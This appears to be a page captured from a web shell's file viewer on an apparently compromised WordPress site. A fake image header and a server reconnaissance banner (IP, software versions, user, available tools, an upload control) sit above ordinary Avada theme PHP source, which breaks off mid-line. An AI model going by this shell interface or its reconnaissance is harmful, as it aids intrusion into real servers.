????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.117.172.41 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.eu/wp-content/themes/Avada/includes/ |
Upload File : |
<?php // Do not allow directly accessing this file. if ( ! defined( 'ABSPATH' ) ) { exit( 'Direct script access denied.' ); } add_action( 'wp_head', 'avada_set_post_views' ); if ( ! function_exists( 'avada_set_post_views' ) ) { /** * Post views inc. */ function avada_set_post_views() { global $post; if ( 'post' == get_post_type() && is_single() ) { $post_id = $post->ID; if ( ! empty( $post_id ) ) { $count_key = 'avada_post_views_count'; $count = get_post_meta( $post_id, $count_key, true ); if ( '' == $count ) { $count = 0; delete_post_meta( $post_id, $count_key ); add_post_meta( $post_id, $count_key, '0' ); } else { $count++; update_post_meta( $post_id, $count_key, $count ); } } } } } if ( ! function_exists( 'avada_get_slider' ) ) { /** * Get the slider type. * * @param int $post_id The post ID. * @param string $type The slider type. * @return string */ function avada_get_slider( $post_id, $type ) { $type = Avada_Helper::slider_name( $type ); return ( $type ) ? get_post_meta( $post_id, 'pyre_' . $type, true ) : false; } } if ( ! function_exists( 'avada_slider' ) ) { /** * Slider. * * @param int $post_id The post ID. */ function avada_slider( $post_id ) { $slider_type = avada_get_slider_type( $post_id ); $slider = avada_get_slider( $post_id, $slider_type ); if ( $slider ) { $slider_name = Avada_Helper::slider_name( $slider_type ); $slider_name = ( 'slider' == $slider_name ) ? 'layerslider' : $slider_name; $function = 'avada_' . $slider_name; $function( $slider ); } } } if ( ! function_exists( 'avada_revslider' ) ) { /** * Revolution Slider. * * @param string $name The revolution slider name. */ function avada_revslider( $name ) { if ( function_exists( 'putRevSlider' ) ) { putRevSlider( $name ); } } } if ( ! function_exists( 'avada_layerslider' ) ) { /** * Layerslider. * * @param int|string $id The layerslider ID. */ function avada_layerslider( $id ) { global $wpdb; // Get slider. $ls_table_name = $wpdb->prefix . 'layerslider'; $ls_slider = $wpdb->get_row( "SELECT * FROM $ls_table_name WHERE id = " . (int) $id . ' ORDER BY date_c DESC LIMIT 1' , ARRAY_A ); $ls_slider = json_decode( $ls_slider['data'], true ); ?> <style type="text/css"> #layerslider-container{max-width:<?php echo $ls_slider['properties']['width'] ?>;} </style> <div id="layerslider-container"> <div id="layerslider-wrapper"> <?php if ( 'avada' == $ls_slider['properties']['skin'] ) : ?> <div class="ls-shadow-top"></div> <?php endif; ?> <?php echo do_shortcode( '[layerslider id="' . $id . '"]' ); ?> <?php if ( 'avada' == $ls_slider['properties']['skin'] ) : ?> <div class="ls-shadow-bottom"></div> <?php endif; ?> </div> </div> <?php } } if ( ! function_exists( 'avada_elasticslider' ) ) { /** * The elastic-slider. * * @param int|string $term The term. */ function avada_elasticslider( $term ) { if ( Avada()->settings->get( 'status_eslider' ) ) { $args = array( 'post_type' => 'themefusion_elastic', 'posts_per_page' => -1, 'suppress_filters' => 0, ); $args['tax_query'][] = array( 'taxonomy' => 'themefusion_es_groups', 'field' => 'slug', 'terms' => $term, ); $query = avada_cached_query( $args ); $count = 1; ?> <?php if ( $query->have_posts() ) : ?> <div id="ei-slider" class="ei-slider"> <div class="fusion-slider-loading"><?php _e( 'Loading...', 'Avada' ); ?></div> <ul class="ei-slider-large"> <?php while ( $query->have_posts() ) : $query->the_post(); ?> <li style="<?php echo ( $count > 0 ) ? 'opacity: 0;' : ''; ?>"> <?php the_post_thumbnail( 'full', array( 'title' => '', 'alt' => get_post_meta( get_post_thumbnail_id(), '_wp_attachment_image_alt', true ) ) ); ?> <div class="ei-title"> <?php if ( get_post_meta( get_the_ID(), 'pyre_caption_1', true ) ) : ?> <h2><?php echo get_post_meta( get_the_ID(), 'pyre_caption_1', true ); ?></h2> <?php endif; ?> <?php if ( get_post_meta( get_the_ID(), 'pyre_caption_2', true ) ) : ?> <h3><?php echo get_post_meta( get_the_ID(), 'pyre_caption_2', true ); ?></h3> <?php endif; ?> </div> </li> <?php $count ++; ?> <?php endwhile; ?> </ul> <ul class="ei-slider-thumbs" style="display: none;"> <li class="ei-slider-element">Current</li> <?php while ( $query->have_posts() ) : $query->the_post(); ?> <li> <a href="#"><?php the_title(); ?></a> <?php the_post_thumbnail( 'full', array( 'title' => '', 'alt' => get_post_meta( get_post_thumbnail_id(), '_wp_attachment_image_alt', true ) ) ); ?> </li> <?php endwhile; ?> </ul> </div> <?php wp_reset_postdata(); ?> <?php endif; ?> <?php wp_reset_query(); } } } if ( ! function_exists( 'avada_wooslider' ) ) { /** * Per-term slider. * * @param int|string $term The term. */ function avada_wooslider( $term ) { if ( Avada()->settings->get( 'status_fusion_slider' ) ) { $term_details = get_term_by( 'slug', $term, 'slide-page' ); $slider_settings = array(); if ( is_object( $term_details ) ) { $slider_settings = get_option( 'taxonomy_' . $term_details->term_id ); } if ( ! isset( $slider_settings['typo_sensitivity'] ) ) { $slider_settings['typo_sensitivity'] = '0.6'; } if ( ! isset( $slider_settings['typo_factor'] ) ) { $slider_settings['typo_factor'] = '1.5'; } if ( ! isset( $slider_settings['slider_width'] ) || '' == $slider_settings['slider_width'] ) { $slider_settings['slider_width'] = '100%'; } if ( ! isset( $slider_settings['slider_height'] ) || '' == $slider_settings['slider_height'] ) { $slider_settings['slider_height'] = '500px'; } if ( ! isset( $slider_settings['full_screen'] ) ) { $slider_settings['full_screen'] = false; } if ( ! isset( $slider_settings['animation'] ) ) { $slider_settings['animation'] = true; } if ( ! isset( $slider_settings['nav_box_width'] ) ) { $slider_settings['nav_box_width'] = '63px'; } if ( ! isset( $slider_settings['nav_box_height'] ) ) { $slider_settings['nav_box_height'] = '63px'; } if ( ! isset( $slider_settings['nav_arrow_size'] ) ) { $slider_settings['nav_arrow_size'] = '25px'; } $nav_box_height_half = '0'; if ( $slider_settings['nav_box_height'] ) { $nav_box_height_half = intval( $slider_settings['nav_box_height'] ) / 2; } $slider_data = ''; if ( $slider_settings ) { foreach ( $slider_settings as $slider_setting => $slider_setting_value ) { $slider_data .= 'data-' . $slider_setting . '="' . $slider_setting_value . '" '; } } $slider_class = ''; if ( '100%' == $slider_settings['slider_width'] && ! $slider_settings['full_screen'] ) { $slider_class .= ' full-width-slider'; } elseif ( '100%' != $slider_settings['slider_width'] && ! $slider_settings['full_screen'] ) { $slider_class .= ' fixed-width-slider'; } if ( isset( $slider_settings['slider_content_width'] ) && '' != $slider_settings['slider_content_width'] ) { $content_max_width = 'max-width:' . $slider_settings['slider_content_width']; } else { $content_max_width = ''; } $args = array( 'post_type' => 'slide', 'posts_per_page' => -1, 'suppress_filters' => 0, ); $args['tax_query'][] = array( 'taxonomy' => 'slide-page', 'field' => 'slug', 'terms' => $term, ); $query = avada_cached_query( $args ); ?> <?php if ( $query->have_posts() ) : ?> <?php $max_width = ( 'fade' == $slider_settings['animation'] ) ? 'max-width:' . $slider_settings['slider_width'] : ''; ?> <div class="fusion-slider-container fusion-slider-<?php the_ID(); ?> <?php echo $slider_class; ?>-container" style="height:<?php echo $slider_settings['slider_height']; ?>;max-width:<?php echo $slider_settings['slider_width']; ?>;"> <style type="text/css" scoped="scoped"> .fusion-slider-<?php the_ID(); ?> .flex-direction-nav a { <?php if ( $slider_settings['nav_box_width'] ) { echo 'width:' . $slider_settings['nav_box_width'] . ';'; } if ( $slider_settings['nav_box_height'] ) { echo 'height:' . $slider_settings['nav_box_height'] . ';'; echo 'line-height:' . $slider_settings['nav_box_height'] . ';'; echo 'margin-top:-' . $nav_box_height_half . 'px;'; } if ( $slider_settings['nav_arrow_size'] ) { echo 'font-size:' . $slider_settings['nav_arrow_size'] . ';'; } ?> } </style> <div class="fusion-slider-loading"><?php _e( 'Loading...', 'Avada' ); ?></div> <div class="tfs-slider flexslider main-flex<?php echo $slider_class; ?>" style="max-width:<?php echo $slider_settings['slider_width']; ?>;" <?php echo $slider_data; ?>> <ul class="slides" style="<?php echo $max_width ?>;"> <?php while ( $query->have_posts() ) : $query->the_post(); ?> <?php $metadata = get_metadata( 'post', get_the_ID() ); $background_image = ''; $background_class = ''; $img_width = ''; $image_url = array( '', '' ); if ( isset( $metadata['pyre_type'][0] ) && 'image' == $metadata['pyre_type'][0] && has_post_thumbnail() ) { $image_id = get_post_thumbnail_id(); $image_url = wp_get_attachment_image_src( $image_id, 'full', true ); $background_image = 'background-image: url(' . $image_url[0] . ');'; $background_class = 'background-image'; $img_width = $image_url[1]; } $aspect_ratio = '16:9'; $video_attributes = ''; $youtube_attributes = ''; $vimeo_attributes = ''; $data_mute = 'no'; $data_loop = 'no'; $data_autoplay = 'no'; if ( isset( $metadata['pyre_aspect_ratio'][0] ) && $metadata['pyre_aspect_ratio'][0] ) { $aspect_ratio = $metadata['pyre_aspect_ratio'][0]; } if ( isset( $metadata['pyre_mute_video'][0] ) && 'yes' == $metadata['pyre_mute_video'][0] ) { $video_attributes = 'muted'; $data_mute = 'yes'; } // Do not set the &auoplay=1 attributes, as this is done in js to make sure the page is fully loaded before the video begins to play. if ( isset( $metadata['pyre_autoplay_video'][0] ) && 'yes' == $metadata['pyre_autoplay_video'][0] ) { $video_attributes .= ' autoplay'; $data_autoplay = 'yes'; } if ( isset( $metadata['pyre_loop_video'][0] ) && 'yes' == $metadata['pyre_loop_video'][0] ) { $video_attributes .= ' loop'; $youtube_attributes .= '&loop=1&playlist=' . $metadata['pyre_youtube_id'][0]; $vimeo_attributes .= '&loop=1'; $data_loop = 'yes'; } if ( isset( $metadata['pyre_hide_video_controls'][0] ) && 'no' == $metadata['pyre_hide_video_controls'][0] ) { $video_attributes .= ' controls'; $youtube_attributes .= '&controls=1'; $video_zindex = 'z-index: 1;'; } else { $youtube_attributes .= '&controls=0'; $video_zindex = 'z-index: -99;'; } $heading_color = 'color:#fff;'; if ( isset( $metadata['pyre_heading_color'][0] ) && $metadata['pyre_heading_color'][0] ) { $heading_color = 'color:' . $metadata['pyre_heading_color'][0] . ';'; } $heading_bg = ''; if ( isset( $metadata['pyre_heading_bg'][0] ) && 'yes' == $metadata['pyre_heading_bg'][0] ) { $heading_bg = 'background-color: rgba(0,0,0, 0.4);'; if ( isset( $metadata['pyre_heading_bg_color'][0] ) && '' != $metadata['pyre_heading_bg_color'][0] ) { $rgb = fusion_hex2rgb( $metadata['pyre_heading_bg_color'][0] ); $heading_bg = 'background-color: rgba(' . $rgb[0] . ',' . $rgb[1] . ',' . $rgb[2] . ',' . 0.4 . ');'; } } $caption_color = 'color:#fff;'; if ( isset( $metadata['pyre_caption_color'][0] ) && $metadata['pyre_caption_color'][0] ) { $caption_color = 'color:' . $metadata['pyre_caption_color'][0] . ';'; } $caption_bg = ''; if ( isset( $metadata['pyre_caption_bg'][0] ) && 'yes' == $metadata['pyre_caption_bg'][0] ) { $caption_bg = 'background-color: rgba(0, 0, 0, 0.4);'; if ( isset( $metadata['pyre_caption_bg_color'][0] ) && '' != $metadata['pyre_caption_bg_color'][0] ) { $rgb = fusion_hex2rgb( $metadata['pyre_caption_bg_color'][0] ); $caption_bg = 'background-color: rgba(' . $rgb[0] . ',' . $rgb[1] . ',' . $rgb[2] . ',' . 0.4 . ');'; } } $video_bg_color = ''; if ( isset( $metadata['pyre_video_bg_color'][0] ) && $metadata['pyre_video_bg_color'][0] ) { $video_bg_color_hex = fusion_hex2rgb( $metadata['pyre_video_bg_color'][0] ); $video_bg_color = 'background-color: rgba(' . $video_bg_color_hex[0] . ', ' . $video_bg_color_hex[1] . ', ' . $video_bg_color_hex[2] . ', 0.4);'; } $video = false; if ( isset( $metadata['pyre_type'][0] ) ) { if ( isset( $metadata['pyre_type'][0] ) && in_array( $metadata['pyre_type'][0], array( 'self-hosted-video', 'youtube', 'vimeo' ) ) ) { $video = true; } } if ( isset( $metadata['pyre_type'][0] ) && 'self-hosted-video' == $metadata['pyre_type'][0] ) { $background_class = 'self-hosted-video-bg'; } $heading_font_size = 'font-size:60px;line-height:80px;'; if ( isset( $metadata['pyre_heading_font_size'][0] ) && $metadata['pyre_heading_font_size'][0] ) { $line_height = $metadata['pyre_heading_font_size'][0] * 1.2; $heading_font_size = 'font-size:' . $metadata['pyre_heading_font_size'][0] . 'px;line-height:' . $line_height . 'px;'; } $caption_font_size = 'font-size: 24px;line-height:38px;'; if ( isset( $metadata['pyre_caption_font_size'][0] ) && $metadata['pyre_caption_font_size'][0] ) { $line_height = $metadata['pyre_caption_font_size'][0] * 1.2; $caption_font_size = 'font-size:' . $metadata['pyre_caption_font_size'][0] . 'px;line-height:' . $line_height . 'px;'; } $heading_styles = $heading_color . $heading_font_size; $caption_styles = $caption_color . $caption_font_size; $heading_title_sc_wrapper_class = ''; $caption_title_sc_wrapper_class = ''; if ( ! isset( $metadata['pyre_heading_separator'][0] ) ) { $metadata['pyre_heading_separator'][0] = 'none'; } if ( ! isset( $metadata['pyre_caption_separator'][0] ) ) { $metadata['pyre_caption_separator'][0] = 'none'; } if ( 'center' != $metadata['pyre_content_alignment'][0] ) { $metadata['pyre_heading_separator'][0] = 'none'; $metadata['pyre_caption_separator'][0] = 'none'; } if ( 'center' == $metadata['pyre_content_alignment'][0] ) { if ( 'none' != $metadata['pyre_heading_separator'][0] ) { $heading_title_sc_wrapper_class = ' fusion-block-element'; } if ( 'none' != $metadata['pyre_caption_separator'][0] ) { $caption_title_sc_wrapper_class = ' fusion-block-element'; } } ?> <li data-mute="<?php echo $data_mute; ?>" data-loop="<?php echo $data_loop; ?>" data-autoplay="<?php echo $data_autoplay; ?>"> <div class="slide-content-container slide-content-<?php if ( isset( $metadata['pyre_content_alignment'][0] ) && $metadata['pyre_content_alignment'][0] ) { echo $metadata['pyre_content_alignment'][0]; } ?>" style="display: none;"> <div class="slide-content" style="<?php echo $content_max_width; ?>"> <?php if ( isset( $metadata['pyre_heading'][0] ) && $metadata['pyre_heading'][0] ) : ?> <div class="heading <?php echo ( $heading_bg ) ? 'with-bg' : ''; ?>"> <div class="fusion-title-sc-wrapper<?php echo $heading_title_sc_wrapper_class; ?>" style="<?php echo $heading_bg; ?>"> <?php echo do_shortcode( '[fusion_title size="2" content_align="' . $metadata['pyre_content_alignment'][0] . '" sep_color="' . $metadata['pyre_heading_color'][0] . '" margin_top="0px" margin_bottom="0px" style_type="' . $metadata['pyre_heading_separator'][0] . '" style_tag="' . $heading_styles . '"]' . do_shortcode( $metadata['pyre_heading'][0] ) . '[/fusion_title]' ); ?> </div> </div> <?php endif; ?> <?php if ( isset( $metadata['pyre_caption'][0] ) && $metadata['pyre_caption'][0] ) : ?> <div class="caption <?php echo ( $caption_bg ) ? 'with-bg' : ''; ?>"> <div class="fusion-title-sc-wrapper<?php echo $caption_title_sc_wrapper_class; ?>" style="<?php echo $caption_bg; ?>"> <?php echo do_shortcode( '[fusion_title size="3" content_align="' . $metadata['pyre_content_alignment'][0] . '" sep_color="' . $metadata['pyre_caption_color'][0] . '" margin_top="0px" margin_bottom="0px" style_type="' . $metadata['pyre_caption_separator'][0] . '" style_tag="' . $caption_styles . '"]' . do_shortcode( $metadata['pyre_caption'][0] ) . '[/fusion_title]' ); ?> </div> </div> <?php endif; ?> <?php if ( isset( $metadata['pyre_link_type'][0] ) && 'button' == $metadata['pyre_link_type'][0] ) : ?> <div class="buttons" > <?php if ( isset( $metadata['pyre_button_1'][0] ) && $metadata['pyre_button_1'][0] ) : ?> <div class="tfs-button-1"><?php echo do_shortcode( $metadata['pyre_button_1'][0] ); ?></div> <?php endif; ?> <?php if ( isset( $metadata['pyre_button_2'][0] ) && $metadata['pyre_button_2'][0] ) : ?> <div class="tfs-button-2"><?php echo do_shortcode( $metadata['pyre_button_2'][0] ); ?></div> <?php endif; ?> </div> <?php endif; ?> </div> </div> <?php if ( isset( $metadata['pyre_link_type'][0] ) && 'full' == $metadata['pyre_link_type'][0] && isset( $metadata['pyre_slide_link'][0] ) && $metadata['pyre_slide_link'][0] ) : ?> <a href="<?php echo $metadata['pyre_slide_link'][0]; ?>" class="overlay-link" <?php echo ( isset( $metadata['pyre_slide_target'][0] ) && 'yes' == $metadata['pyre_slide_target'][0] ) ? 'target="_blank" rel="noopener noreferrer"' : ''; ?>></a> <?php endif; ?> <?php if ( isset( $metadata['pyre_preview_image'][0] ) && $metadata['pyre_preview_image'][0] && isset( $metadata['pyre_type'][0] ) && 'self-hosted-video' == $metadata['pyre_type'][0] ) : ?> <div class="mobile_video_image" style="background-image: url(<?php echo Avada_Sanitize::css_asset_url( $metadata['pyre_preview_image'][0] ); ?>);"></div> <?php elseif ( isset( $metadata['pyre_type'][0] ) && 'self-hosted-video' == $metadata['pyre_type'][0] ) : ?> <div class="mobile_video_image" style="background-image: url(<?php echo Avada_Sanitize::css_asset_url( Avada::$template_dir_url . '/assets/images/video_preview.jpg' ); ?>);"></div> <?php endif; ?> <?php if ( $video_bg_color && true == $video ) : ?> <div class="overlay" style="<?php echo $video_bg_color; ?>"></div> <?php endif; ?> <div class="background <?php echo $background_class; ?>" style="<?php echo $background_image; ?>max-width:<?php echo $slider_settings['slider_width']; ?>;height:<?php echo $slider_settings['slider_height']; ?>;filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='<?php echo $image_url[0]; ?>', sizingMethod='scale');-ms-filter:'progid:DXImageTransform.Microsoft.AlphaImageLoader(src='<?php echo $image_url[0]; ?>', sizingMethod='scale')';" data-imgwidth="<?php echo $img_width; ?>"> <?php if ( isset( $metadata['pyre_type'][0] ) ) : ?> <?php if ( 'self-hosted-video' == $metadata['pyre_type'][0] && ( $metadata['pyre_webm'][0] || $metadata['pyre_mp4'][0] || $metadata['pyre_ogg'][0] ) && ! wp_is_mobile() ) : ?> <video width="1800" height="700" <?php echo $video_attributes; ?> preload="auto"> <?php if ( array_key_exists( 'pyre_ogg', $metadata ) && $metadata['pyre_ogg'][0] ) : ?> <source src="<?php echo $metadata['pyre_ogg'][0]; ?>" type="video/ogg"> <?php endif; ?> <?php if ( array_key_exists( 'pyre_webm', $metadata ) && $metadata['pyre_webm'][0] ) : ?> <source src="<?php echo $metadata['pyre_webm'][0]; ?>" type="video/webm"> <?php endif; ?> <?php if ( array_key_exists( 'pyre_mp4', $metadata ) && $metadata['pyre_mp4'][0] ) : ?> <source src="<?php echo $metadata['pyre_mp4'][0]; ?>" type="video/mp4"> <?php endif; ?> </video> <?php endif; ?> <?php endif; ?> <?php if ( isset( $metadata['pyre_type'][0] ) && isset( $metadata['pyre_youtube_id'][0] ) && 'youtube' == $metadata['pyre_type'][0] && $metadata['pyre_youtube_id'][0] ) : ?> <div style="position: absolute; top: 0; left: 0; <?php echo $video_zindex; ?> width: 100%; height: 100%" data-youtube-video-id="<?php echo $metadata['pyre_youtube_id'][0]; ?>" data-video-aspect-ratio="<?php echo $aspect_ratio; ?>"> <div id="video-<?php echo $metadata['pyre_youtube_id'][0]; ?>-inner"> <iframe height="100%" width="100%" src="https://www.youtube.com/embed/<?php echo $metadata['pyre_youtube_id'][0]; ?>?wmode=transparent&modestbranding=1&showinfo=0&autohide=1&enablejsapi=1&rel=0&vq=hd720&<?php echo $youtube_attributes; ?>"></iframe> </div> </div> <?php endif; ?> <?php if ( isset( $metadata['pyre_type'][0] ) && isset( $metadata['pyre_vimeo_id'][0] ) && 'vimeo' == $metadata['pyre_type'][0] && $metadata['pyre_vimeo_id'][0] ) : ?> <div style="position: absolute; top: 0; left: 0; <?php echo $video_zindex; ?> width: 100%; height: 100%" data-mute="<?php echo $data_mute; ?>" data-vimeo-video-id="<?php echo $metadata['pyre_vimeo_id'][0]; ?>" data-video-aspect-ratio="<?php echo $aspect_ratio; ?>"> <iframe src="https://player.vimeo.com/video/<?php echo $metadata['pyre_vimeo_id'][0]; ?>?title=0&byline=0&portrait=0&color=ffffff&badge=0&title=0<?php echo $vimeo_attributes; ?>" height="100%" width="100%" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe> </div> <?php endif; ?> </div> </li> <?php endwhile; ?> </ul> </div> </div> <?php endif; ?> <?php wp_reset_query(); } } } if ( ! function_exists( 'avada_get_page_title_bar_contents' ) ) { /** * Get the contents of the title bar. * * @param int $post_id The post ID. * @param bool $get_secondary_content Determine if we want secondary content. * @return array */ function avada_get_page_title_bar_contents( $post_id, $get_secondary_content = true ) { if ( $get_secondary_content ) { ob_start(); if ( fusion_get_option( 'page_title_bar_bs', 'page_title_breadcrumbs_search_bar', $post_id ) != 'none' ) { if ( ( 'Breadcrumbs' == Avada()->settings->get( 'page_title_bar_bs' ) && in_array( get_post_meta( $post_id, 'pyre_page_title_breadcrumbs_search_bar', true ), array( 'breadcrumbs', 'default', '' ) ) ) || 'breadcrumbs' == get_post_meta( $post_id, 'pyre_page_title_breadcrumbs_search_bar', true ) ) { fusion_breadcrumbs(); } elseif ( ( 'Search Box' == Avada()->settings->get( 'page_title_bar_bs' ) && in_array( get_post_meta( $post_id, 'pyre_page_title_breadcrumbs_search_bar', true ), array( 'searchbar', 'default', '' ) ) ) || 'searchbar' == get_post_meta( $post_id, 'pyre_page_title_breadcrumbs_search_bar', true ) ) { get_search_form(); } } $secondary_content = ob_get_contents(); ob_get_clean(); } else { $secondary_content = ''; } $title = ''; $subtitle = ''; if ( '' != get_post_meta( $post_id, 'pyre_page_title_custom_text', true ) ) { $title = get_post_meta( $post_id, 'pyre_page_title_custom_text', true ); } if ( '' != get_post_meta( $post_id, 'pyre_page_title_custom_subheader', true ) ) { $subtitle = get_post_meta( $post_id, 'pyre_page_title_custom_subheader', true ); } if ( '' == get_post_meta( $post_id, 'pyre_page_title_text', true ) || 'default' == get_post_meta( $post_id, 'pyre_page_title_text', true ) ) { if ( Avada()->settings->get( 'page_title_bar_text' ) ) { $page_title_text = 'yes'; } else { $page_title_text = 'no'; } } else { $page_title_text = get_post_meta( $post_id, 'pyre_page_title_text', true ); } if ( is_search() ) { $title = sprintf( esc_html__( 'Search results for: %s', 'Avada' ), get_search_query() ); $subtitle = ''; } if ( ! $title ) { $title = get_the_title( $post_id ); // Only assign blog title theme option to default blog page and not posts page. if ( is_home() && get_option( 'show_on_front' ) != 'page' ) { $title = Avada()->settings->get( 'blog_title' ); } if ( is_404() ) { $title = esc_html__( 'Error 404 Page', 'Avada' ); } if ( class_exists( 'Tribe__Events__Main' ) && ( ( tribe_is_event() && ! is_single() && ! is_home() ) || Avada_Helper::is_events_archive() || ( Avada_Helper::is_events_archive() && is_404() ) ) ) { $title = tribe_get_events_title(); } elseif ( is_archive() && ! is_bbpress() && ! is_search() ) { if ( is_day() ) { $title = sprintf( esc_html__( 'Daily Archives: %s', 'Avada' ), '<span>' . get_the_date() . '</span>' ); } elseif ( is_month() ) { $title = sprintf( esc_html__( 'Monthly Archives: %s', 'Avada' ), '<span>' . get_the_date( 'F Y' ) . '</span>' ); } elseif ( is_year() ) { $title = sprintf( esc_html__( 'Yearly Archives: %s', 'Avada' ), '<span> ' . get_the_date( 'Y' ) . '</span>' ); } elseif ( is_author() ) { $curauth = get_user_by( 'id', get_query_var( 'author' ) ); $title = $curauth->nickname; } elseif ( is_post_type_archive() ) { $title = post_type_archive_title( '', false ); $sermon_settings = get_option( 'wpfc_options' ); if ( is_array( $sermon_settings ) ) { $title = $sermon_settings['archive_title']; } } else { $title = single_cat_title( '', false ); } } if ( class_exists( 'WooCommerce' ) && is_woocommerce() && ( is_product() || is_shop() ) && ! is_search() ) { if ( ! is_product() ) { $title = woocommerce_page_title( false ); } } } // Only assign blog subtitle theme option to default blog page and not posts page. if ( ! $subtitle && is_home() && get_option( 'show_on_front' ) != 'page' ) { $subtitle = Avada()->settings->get( 'blog_subtitle' ); } if ( ! is_archive() && ! is_search() && ! ( is_home() && ! is_front_page() ) ) { if ( 'no' == $page_title_text && ( 'yes' == get_post_meta( $post_id, 'pyre_page_title', true ) || 'yes_without_bar' == get_post_meta( $post_id, 'pyre_page_title', true ) || ( 'hide' != Avada()->settings->get( 'page_title_bar' ) && 'no' != get_post_meta( $post_id, 'pyre_page_title', true ) ) ) ) { $title = ''; $subtitle = ''; } } else { if ( 'hide' != Avada()->settings->get( 'page_title_bar' ) && 'no' == $page_title_text ) { $title = ''; $subtitle = ''; } } return array( $title, $subtitle, $secondary_content ); } } if ( ! function_exists( 'avada_current_page_title_bar' ) ) { /** * Get the current page title. * * @param int $post_id The post ID. */ function avada_current_page_title_bar( $post_id ) { $page_title_bar_contents = avada_get_page_title_bar_contents( $post_id ); if ( ( ! is_archive() || class_exists( 'WooCommerce' ) && is_shop() ) && ! is_search() ) { if ( 'yes' == get_post_meta( $post_id, 'pyre_page_title', true ) || 'yes_without_bar' == get_post_meta( $post_id, 'pyre_page_title', true ) || ( 'hide' != Avada()->settings->get( 'page_title_bar' ) && 'no' != get_post_meta( $post_id, 'pyre_page_title', true ) ) ) { if ( ! is_home() || ! is_front_page() || Avada()->settings->get( 'blog_show_page_title_bar' ) ) { if ( is_home() && get_post_meta( $post_id, 'pyre_page_title', true ) == 'default' && ! Avada()->settings->get( 'blog_show_page_title_bar' ) ) { return; } avada_page_title_bar( $page_title_bar_contents[0], $page_title_bar_contents[1], $page_title_bar_contents[2] ); } } } else { if ( is_home() && Avada()->settings->get( 'blog_show_page_title_bar' ) ) { avada_page_title_bar( $page_title_bar_contents[0], $page_title_bar_contents[1], $page_title_bar_contents[2] ); } else { if ( 'hide' != Avada()->settings->get( 'page_title_bar' ) ) { avada_page_title_bar( $page_title_bar_contents[0], $page_title_bar_contents[1], $page_title_bar_contents[2] ); } } } } } if ( ! function_exists( 'avada_backend_check_new_bbpress_post' ) ) { /** * Check if we're creating a new bbPress post. * * @return bool */ function avada_backend_check_new_bbpress_post() { global $pagenow, $post_type; return ( 'post-new.php' == $pagenow && in_array( $post_type, array( 'forum', 'topic', 'reply' ) ) ) ? true : false; } } if ( ! function_exists( 'avada_featured_images_for_pages' ) ) { /** * Featured images for pages. * * @return string */ function avada_featured_images_for_pages() { $html = $video = $featured_images = ''; if ( ! post_password_required( get_the_ID() ) ) { if ( Avada()->settings->get( 'featured_images_pages' ) ) { if ( 0 < avada_number_of_featured_images() || get_post_meta( get_the_ID(), 'pyre_video', true ) ) { if ( get_post_meta( get_the_ID(), 'pyre_video', true ) ) { $video = '<li><div class="full-video">' . get_post_meta( get_the_ID(), 'pyre_video', true ) . '</div></li>'; } if ( has_post_thumbnail() && 'yes' != get_post_meta( get_the_ID(), 'pyre_show_first_featured_image', true ) ) { $attachment_image = wp_get_attachment_image_src( get_post_thumbnail_id(), 'full' ); $full_image = wp_get_attachment_image_src( get_post_thumbnail_id(), 'full' ); $attachment_data = wp_get_attachment_metadata( get_post_thumbnail_id() ); $featured_images .= '<li><a href="' . $full_image[0] . '" rel="prettyPhoto[gallery' . get_the_ID() . ']" data-title="' . get_post_field( 'post_title', get_post_thumbnail_id() ) . '" data-caption="' . get_post_field( 'post_excerpt', get_post_thumbnail_id() ) . '"><img src="' . $attachment_image[0] . '" alt="' . get_post_meta( get_post_thumbnail_id(), '_wp_attachment_image_alt', true ) . '" role="presentation" /></a></li>'; } $i = 2; while ( $i <= Avada()->settings->get( 'posts_slideshow_number' ) ) : $attachment_new_id = kd_mfi_get_featured_image_id( 'featured-image-' . $i, 'page' ); if ( $attachment_new_id ) { $attachment_image = wp_get_attachment_image_src( $attachment_new_id, 'full' ); $full_image = wp_get_attachment_image_src( $attachment_new_id, 'full' ); $attachment_data = wp_get_attachment_metadata( $attachment_new_id ); $featured_images .= '<li><a href="' . $full_image[0] . '" rel="iLightbox[gallery' . get_the_ID() . ']" data-title="' . get_post_field( 'post_title', $attachment_new_id ) . '" data-caption="' . get_post_field( 'post_excerpt', $attachment_new_id ) . '"><img src="' . $attachment_image[0] . '" alt="' . get_post_meta( $attachment_new_id, '_wp_attachment_image_alt', true ) . '" role="presentation" /></a></li>'; } $i++; endwhile; $html .= '<div class="fusion-flexslider flexslider post-slideshow"><ul class="slides">' . $video . $featured_images . '</ul></div>'; } } } return $html; } } if ( ! function_exists( 'avada_featured_images_lightbox' ) ) { /** * The featured images lightbox. * * @param int $post_id The post ID. * @return string */ function avada_featured_images_lightbox( $post_id ) { $html = $video = $featured_images = ''; if ( get_post_meta( $post_id, 'pyre_video_url', true ) ) { $video = '<a href="' . get_post_meta( $post_id, 'pyre_video_url', true ) . '" class="iLightbox[gallery' . $post_id . ']"></a>'; } $i = 2; while ( $i <= Avada()->settings->get( 'posts_slideshow_number' ) ) : $attachment_new_id = kd_mfi_get_featured_image_id( 'featured-image-' . $i, get_post_type( $post_id ) ); if ( $attachment_new_id ) { $attachment_image = wp_get_attachment_image_src( $attachment_new_id, 'full' ); $full_image = wp_get_attachment_image_src( $attachment_new_id, 'full' ); $attachment_data = wp_get_attachment_metadata( $attachment_new_id ); $featured_images .= '<a href="' . $full_image[0] . '" data-rel="iLightbox[gallery' . $post_id . ']" title="' . get_post_field( 'post_title', $attachment_new_id ) . '" data-title="' . get_post_field( 'post_title', $attachment_new_id ) . '" data-caption="' . get_post_field( 'post_excerpt', $attachment_new_id ) . '"></a>'; } $i++; endwhile; return $html . '<div 